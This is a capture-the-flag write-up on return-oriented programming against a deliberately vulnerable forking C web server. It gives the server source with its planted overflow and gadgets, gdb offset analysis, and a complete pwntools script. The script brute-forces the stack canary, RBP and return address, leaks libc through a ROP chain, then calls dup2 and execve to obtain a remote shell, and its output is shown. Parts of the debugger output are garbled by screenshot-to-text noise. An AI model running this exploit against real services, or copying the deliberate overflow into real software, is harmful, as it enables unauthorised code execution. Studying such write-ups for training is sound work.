

Return Oriented Programming

Vulnerable Web Server code :

Architecture : x86-64 bit , Little endian

Protections : All protections Enabled .

```
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <ctype.h>
#include <time.h>

#define PORT 8036
#define BUFF_SIZE 1024
#define SA struct sockaddr_in

char *html = "[ Enter your thoughts ]\n";
int create_server(SA address)
{

    int sock_fd;
    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
    {
        fprintf(stderr, "failed to accept");
        exit(EXIT_FAILURE);
    }
}
```

```

    if (bind(sock_fd, (struct sockaddr *)&address,
              sizeof(address)) < 0)
    {
        fprintf(stderr, "failed to accept");
        exit(EXIT_FAILURE);
    }
    if (listen(sock_fd, 3) < 0)
    {
        fprintf(stderr, "failed to accept");
        exit(EXIT_FAILURE);
    }
    return sock_fd;
}

void print_banner(int year , int starts , int dummy){

    printf("[+] Welcome To Abacus CTF %d : starts : %d \n" , year
, starts);
}

void subroutine(){
    __asm__("pop %rsi");
    __asm__("ret");
    __asm__("pop %rdx");
    __asm__("ret");
}

int handle_client(int new_socket)
{
    char buffer[64] = {0};
    memset(buffer, 0, 64);

    write(new_socket, html, strlen(html));
    recv(new_socket, buffer, BUFF_SIZE, 0);
}

```

```

    return 0;
}

int main(int argc, char **argv)
{
    int server_fd, new_socket;
    SA address;
    int addrlen = sizeof(address);

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr("127.0.0.1");
    address.sin_port = htons(PORT);

    server_fd = create_server(address);

    printf("server file descriptor : %d \n", server_fd);
    printf("Multithreaded th3h04x webserver listening on : %d\n",
PORT);
    int year = 2022 , start = 24 , tempf = 8;
    print_banner(year , start , tempf );

    while (1)
    {
        if ((new_socket = accept(server_fd, (struct sockaddr
*) &address,
                                (socklen_t *) &addrlen)) < 0)
        {
            fprintf(stderr, "failed to accept");
            exit(EXIT_FAILURE);
        }

printf("\n-----\n");

```

```

        printf("new client --> spawning new child with fd :
%d\n",new_socket);
        if (fork() == 0)
        {
            // child process
            close(server_fd);
            time_t t;
            time(&t);
            printf("Client Connected successfully  at %s\n",
ctime(&t));
            handle_client(new_socket);
            send(new_socket, "connection closed\n",
strlen("connection closed\n"), 0);
            return 0;
        }
        close(new_socket);
    }
    return 0;
}

```

Explanation of the vulnerable web server Code :

The web server is spawning a new child with fork and running the handle_client function which reads input from the server and ends the connection by closing the socket . The buffer size is 64 bytes but it is reading 1024 bytes from the socket .

Points to Note :

- 1.By looking through the code , we can observe there is buffer overflow . But due to modern protections

enabled ASLR , PIE ,stack canary and NX bit we can't perform simple exploitation techniques like code injection or ret2libc .

2. Format String vulnerability is also not present so we can not leak addresses to bypass ASLR and PIE .

Mind Map for exploitation :

- 1.First we need to find the offset to fill the buffer and overwrite the stack canary , as we don't know the stack canary , or valid rbp and valid return address .

Since we don't have the format string vulnerability to leak address , we are going to take advantage of that the webserver is process which is continuously running forever . So we are going to bruteforce the stack canary , rbp and the return address of handle_client .

Eg :

"A"*offset + guessing_stack_canary ;

We need to bruteforce for each byte of stack canary from (0x00 , 0xff) , if we correctly find that byte , there will be a response from the webserver as "connection closed" . If it wrongly guess the byte , there will be no response as the child process will be ended abruptly by the kernel.

Algo :

```

payload = "A"*offset
For b in range(0x00 , 0xff):
    conn = send_payload(payload + b)
    if(conn.recv() == "connection closed")
        payload += b
        break

```

2.Hence we are going to bruteforce byte by byte for the stack canary , rbp and rip .Therefore we can bypass stack canary , and pie .

3.To get the libc address , we are going to use ROP gadgets to write libc address to the file descriptor , from where we can calculate the base address of libc .

The instruction we want to run:

```

write(4 , &got.write , 8)

```

We place the gadgets instructions and the arguments into rdi , rsi and rdx .

Chaining the gadgets Payload:

```

0x0000: 0x5575df7b17b3 pop rdi; ret
0x0008: 0x4    rdi = 4
0x0010: 0x5575df7b14ce pop rdx; ret
0x0018: 0x8    rdx = 8
0x0020: 0x5575df7b14cc pop rsi; ret
0x0028: 0x5575df7b3f48 rsi = got.write
0x0030: 0x5575df7b11a4 write

```

4. For pwnng the system to get the shell , we will again use ROP gadgets to call `execve` and dup the file descriptor of the child process `stdin` and `stdout` to the socket file descriptor for running commands interactively .

Instructions we want to execute :

```
dup2(4,0);
dup2(4,1);
execve(&bin_sh , NULL , NULL);
```

CHAINING THE GADGETS TO GET SHELL

```
0x0000: 0x7f85b65c304f pop rsi; ret
0x0008: 0x0    rsi = 0
0x0010: 0x7f85b65c0b72 pop rdi; ret
0x0018: 0x4    rdi = 4
0x0020: 0x7f85b66ab8f0 dup2
0x0028: 0x7f85b65c304f pop rsi; ret
0x0030: 0x1    rsi = 1
0x0038: 0x7f85b65c0b72 pop rdi; ret
0x0040: 0x4    rdi = 4
0x0048: 0x7f85b66ab8f0 dup2
0x0050: 0x7f85b66b6241 pop rdx; pop r12; ret
0x0058: 0x0    rdx = 0
0x0060: b'yaaazaab' <pad r12>
0x0068: 0x7f85b65c304f pop rsi; ret
0x0070: 0x0    rsi = 0
0x0078: 0x7f85b65c0b72 pop rdi; ret
0x0080: 0x7f85b67515bd rdi = 140212268504509
0x0088: 0x7f85b66801a0 execve
```

Debugging the code in gdb to calculate offset :

Set follow-fork-mode child command to follow the child process in gdb

```
*RSI 0x7fffffffdd60 ← 0x100007f641f0002
R8 0x0
R9 0x2e Edit View Insert Format Tools Add-ons Help Last edit was 13 minutes ago
R10 0x555555556062 ← 0x302e373231000a20 /* '\n' */
R11 0x246 A 100% Normal text Courier New 16 B I U A
R12 0x555555552c0 (_start) ← endbr64
R13 0x7fffffffde70 ← 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd80 ← 0x0
RSP 0x7fffffffdd30 → 0x7fffffffde78 → 0x7ffffffe1cd ← '/home/th3h04x/CTFs/myrooms/abacus/utilities/privesc/webserver'
*RIP 0x55555555663 (main+195) ← mov edi, eax banner(year, start, temp);

[ DISASM ]
0x55555555650 <main+176> call print_banner <print_banner>
0x55555555655 <main+181> lea rdx, [rbp - 0x40]
0x55555555659 <main+185> lea rcx, [rbp - 0x20]
0x5555555565d <main+189> mov eax, dword ptr [rbp - 0x3c] = accept(server_fd, (struct sockaddr
0x55555555660 <main+192> mov rsi, rcx
0x55555555663 <main+195> mov edi, eax
0x55555555665 <main+197> call accept@plt <accept@plt> (socket (*)&addrlen)) < 0)
0x5555555566a <main+202> mov dword ptr [rbp - 0x2c], eax
0x5555555566d <main+205> cmp dword ptr [rbp - 0x2c], 0
0x55555555671 <main+209> jns main+253
0x55555555673 <main+211> mov rax, qword ptr [rip + 0x29a6] <0x555555558020>

[ STACK ]
00:0000| rsp 0x7fffffffdd30 → 0x7fffffffde78 → 0x7ffffffe1cd ← '/home/th3h04x/CTFs/myrooms/abacus/utilities/privesc/webserver'
01:0008| 0x7fffffffdd38 ← 0x1ffffe1b9
02:0010| rdx 0x7fffffffdd40 ← 0x300000010
03:0018| 0x7fffffffdd48 ← 0x18000007e6
04:0020| 0x7fffffffdd50 ← 0x7fff00000008
05:0028| 0x7fffffffdd58 → 0x55555555750 (__libc_csu_init) ← endbr64
06:0030| rcx rsi 0x7fffffffdd60 ← 0x100007f641f0002
07:0038| 0x7fffffffdd68 → 0x555555552c0 (_start) ← endbr64

[ BACKTRACE ]
f 0 0x55555555663 main+195
f 1 0x7ffff7ddf0b3 __libc_start_main+243

pwndbg> set follow-
follow-exec-mode follow-fork-mode
pwndbg> set follow-fork-mode child
```



```

gdb - q webserver 96x43
4:0020] 0x7fffffffddce0 ← 'eaaafaaagaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
5:0028] 0x7fffffffddce8 ← 'gaaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
6:0030] 0x7fffffffddcf0 ← 'laaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
7:0038] 0x7fffffffddcf8 ← 'kaaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
[ BACKTRACE ]
f 0 0x555555555585 handle_client+178
f 1 0x55555550a6177
f 2 0x7fffffffde78
f 3 0x1fffffe1b9
f 4 0x300000010
f 5 0x18000007e6
f 6 0x4000000008
f 7 0x62681848

Debugging the code in gdb :
Set follow-fork-mode child command to follow the
child process in gdb.

wndbg> stck 16
undefined command: "stck". Try "help".
wndbg> satck 16
undefined command: "satck". Try "help".
wndbg> stack 16
0:0000] rsp 0x7fffffffddcc0 → 0x7fffffffde70 ← 0x1
1:0008] 0x7fffffffddcc8 ← 0x400000000
2:0010] rst 0x7fffffffddcd0 ← 'aaaabaaacaaadaaaafaaagaahaaalaaajaaakaaalaaamaanaaaooapaa
aaaraasaaataaaavavaawa\nUUU'
3:0018] 0x7fffffffddcd8 ← 'caadaaaafaaagaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraa
aaataaaavavaawa\nUUU'
4:0020] 0x7fffffffddce0 ← 'eaaafaaagaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
5:0028] 0x7fffffffddce8 ← 'gaaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
6:0030] 0x7fffffffddcf0 ← 'laaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
7:0038] 0x7fffffffddcf8 ← 'kaaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
8:0040] 0x7fffffffdd00 ← 'maanaaaooapaaqaaaraasaaataaa
aaavavaawa\nUUU'
9:0048] 0x7fffffffdd08 ← 'oaaapaaqaaaraasaaataaa
aaavavaawa\nUUU'
a:0050] 0x7fffffffdd10 ← 'qaaaraasaaataaa
aaavavaawa\nUUU'
b:0058] 0x7fffffffdd18 ← 'saaataaaavavaawa\nUUU'
c:0060] rbp 0x7fffffffdd20 ← 'uaavavaawa\nUUU'
d:0068] 0x7fffffffdd28 ← 0x55555550a6177 /* 'wa\nUUU' */
e:0070] 0x7fffffffdd30 → 0x7fffffffde78 → 0x7fffffffelcd ← '/home/th3h04x/CTFs/myrooms/a
acus/utilities/privesc/webserver'
f:0078] 0x7fffffffdd38 ← 0x1fffffe1b9
wndbg>
  
```

Since the stack canary is at rbp+0x8 we find the pattern "saaa" which is calculated around to 72 in debrujin's sequence .

```

→ youRfired cyclic 90
aaaabaaacaaadaaaafaaagaahaaalaaajaaakaaalaaamaanaaaooapaaqaaaraasaaataaa
aaavavaawa
→ youRfired ptpython
>>> from pwn import *
>>>
>>> cyclic_find(b"saaa")
72
>>>
  
```

So after the offset of 72 stack canary is present which we need to bruteforce to exploit the webserver .

Exploit Code :

```
from pwn import *
from concurrent.futures import ThreadPoolExecutor
from rich import print

context(os="linux", arch="amd64")

context.log_level = 'error'

RHOST = "localhost"
RPORT = 1338
TIME_OUT = 5
SUCCESS_STRING = "connection closed"

# ## local path
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
elf_path = "./webserver"
RPORT = 8037

offset_pie = 0x1701

class Fuzzer:
    def __init__(self, max_workers=24) -> None:

        self.max_workers = max_workers
        self.cur_content = ""

        self.end_pool = False

    def build_bytes(self, payload: str) -> bool:

        if not self.end_pool:
            r = remote(RHOST, RPORT, level="error")
```

```

        r.recvline(timeout=TIME_OUT)
        r.send(payload)
        try:
            resp =
r.recvline(timeout=TIME_OUT).rstrip().decode()
            if resp == SUCCESS_STRING:
                r.close()
                return True
        except:
            pass

        try:
            r.close()
        except:
            pass

    return False

def _build_bytes_callback(self, fn):

    # print("[*] Tried : " , hex(fn.arg))

    if fn.result():
        print("[+] Byte Found : ", hex(fn.arg))
        self.cur_content += chr(fn.arg)
        self.end_pool = True

def fuzz_addr(self, init_payload: str = ""):

    self.init_payload = init_payload
    self.cur_content = ""
    while len(self.cur_content) < 8:
        self.end_pool = False

```

```

        ex =
ThreadPoolExecutor(max_workers=self.max_workers)
        for byte in range(0x00, 0x100):
            payload = self.init_payload +
self.cur_content + chr(byte)
            f = ex.submit(self.build_bytes, payload)
            f.arg = byte

f.add_done_callback(self._build_bytes_callback)

        while True:
            if self.end_pool:
                break
            if ex._work_queue.empty() and
len(ex._threads) == 0:
                log.info("failed to build byte")
                break
            sleep(1)
        return self.cur_content

#### Bruteforcing canary , rbp and pie address #####

# stack_canary = p64(0xe779f8aada764700).decode('latin-1')
# rbp = p64(0x7fffffffde10).decode('latin-1')
# cur_ret = p64(0x5555555556d9).decode('latin-1')

OFFSET = 72
f = Fuzzer(max_workers=24)
stack_canary = f.fuzz_addr(init_payload="A"*72)
print("[+] Canary : ", hex(u64(stack_canary)))

rbp = f.fuzz_addr(init_payload="A"*72+stack_canary)
print("[+] RBP : ", hex(u64(rbp)))

```

```

cur_ret = f.fuzz_addr(init_payload="A"*72+stack_canary+rbp)
print("[+] CUR RET : ", hex(u64(cur_ret)))

pie_base = u64(cur_ret) - offset_pie

print("[+] PIE BASE : ", hex(pie_base))

payload_frame = "A"*OFFSET + stack_canary + rbp

#### Creating rop gadgets from binary to get libc address
####
# Rop Gadget :   write(4, elf.got['write'], 0x8)

elf = ELF(elf_path, checksec=False)
elf.address = pie_base
rop_elf = ROP(elf)

rop_elf.write(0x4, elf.got['write'], 0x8)
chain = rop_elf.chain()
chain = chain.decode('latin-1')
print("CHAIN\n", rop_elf.dump())
payload = payload_frame + chain

r = remote(RHOST, RPORT, level="error")
r.recvline(timeout=TIME_OUT)
r.send(payload)
write_libc = u64(r.recv(8))

print("Leaked write Libc : ", hex(write_libc))

libc_elf = ELF(libc_path)
libcwrite_offset_base = libc_elf.sym['write']
libc_base = write_libc - libcwrite_offset_base

```

```

print("Libc Base : ", hex(libc_base))
libc_elf.address = libc_base

### Code Execution Rop Gadgets from libc ###

rop_libc = ROP(libc_elf)
binsh_addr = next(libc_elf.search(b"/bin/sh\x00"))

rop_libc.dup2(0x4, 0x0)
rop_libc.dup2(0x4, 0x1)
rop_libc.execve(binsh_addr, 0x0, 0x0)
print("[+] ROP CHAIN\n", rop_libc.dump())

chain = rop_libc.chain()
payload = payload_frame + chain.decode('latin-1')

r = remote(RHOST, RPORT, level="error")
r.recvline(timeout=TIME_OUT)
r.send(payload)
r.interactive()

```

To speed up the process of brute forcing , we had to use the threading in python . ROP class in python pwntools is used to generate the necessary ROP gadgets and groom the stack to make a reliable exploit to get the shell .

Pwning the Webserver :

```
→ privsec git:(main) X python3 exploit.py
exploit.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.send(payload)
exploit.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.send(payload)
[+] Byte Found : 0x0
[+] Byte Found : 0x7a
exploit.py:37: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
r.send(payload)
[+] Byte Found : 0xe3
[+] Byte Found : 0xe5
[+] Byte Found : 0x12
[+] Byte Found : 0xa1
[+] Byte Found : 0x5a
[+] Byte Found : 0x33
exploit.py:93: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
print("[+] Canary : ", hex(u64(stack_canary)))
[+] Canary : 0x335aa112e5e37a00
[+] Byte Found : 0x20
[+] Byte Found : 0x1f
[+] Byte Found : 0x2b
[+] Byte Found : 0x7d
[+] Byte Found : 0xfe
[+] Byte Found : 0x7f
[+] Byte Found : 0x0
[+] Byte Found : 0x0
exploit.py:96: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
print("[+] RBP : ", hex(u64(rbp)))
[+] RBP : 0x7ffe7d2b1f20
[+] Byte Found : 0x1
[+] Byte Found : 0x17
[+] Byte Found : 0x7b
[+] Byte Found : 0xdf
[+] Byte Found : 0x75
[+] Byte Found : 0x55
[+] Byte Found : 0x0
[+] Byte Found : 0x0
exploit.py:99: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
print("[+] CUR RET : ", hex(u64(cur_ret)))
[+] CUR RET : 0x5575df7b1701
exploit.py:101: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
pie_base = u64(cur_ret) - offset_pie
[+] PIE BASE : 0x5575df7b0000
```

```

CHAIN
0x0000: 0x5575df7b17b3 pop rdi; ret
0x0008: 0x4 rdi = 4
0x0010: 0x5575df7b14ce pop rdx; ret
0x0018: 0x8 rdx = 8
0x0020: 0x5575df7b14cc pop rsi; ret
exploit.py:122: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.python.org/3/library/bytes.html#byteswarning
r.send(payload)
Leaked write Libc : 0x7f85b66ab090
Libc Base : 0x7f85b659d000
[+] ROP CHAIN
0x0000: 0x7f85b65c304f pop rsi; ret
0x0008: 0x0 rsi = 0
0x0010: 0x7f85b65c0b72 pop rdi; ret
0x0018: 0x4 rdi = 4
0x0020: 0x7f85b66ab8f0 dup2
0x0028: 0x7f85b65c304f pop rsi; ret
0x0030: 0x1 rsi = 1
0x0038: 0x7f85b65c0b72 pop rdi; ret
0x0040: 0x4 rdi = 4
0x0048: 0x7f85b66ab8f0 dup2
0x0050: 0x7f85b66b6241 pop rdx; pop r12; ret
0x0058: 0x0 rdx = 0
0x0060: b'yaaazaab' <pad r12>
0x0068: 0x7f85b65c304f pop rsi; ret
0x0070: 0x0 rsi = 0
0x0078: 0x7f85b65c0b72 pop rdi; ret
0x0080: 0x7f85b67515bd rdi = 140212268504509
0x0088: 0x7f85b66801a0 execve
exploit.py:149: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.python.org/3/library/bytes.html#byteswarning
r.send(payload)
$ whoami
th3h04x
$ ls
exploit.py
libc.so.6.target
mywebserver.service
target_web
webserver
webserver.c
webserver.netstripped

```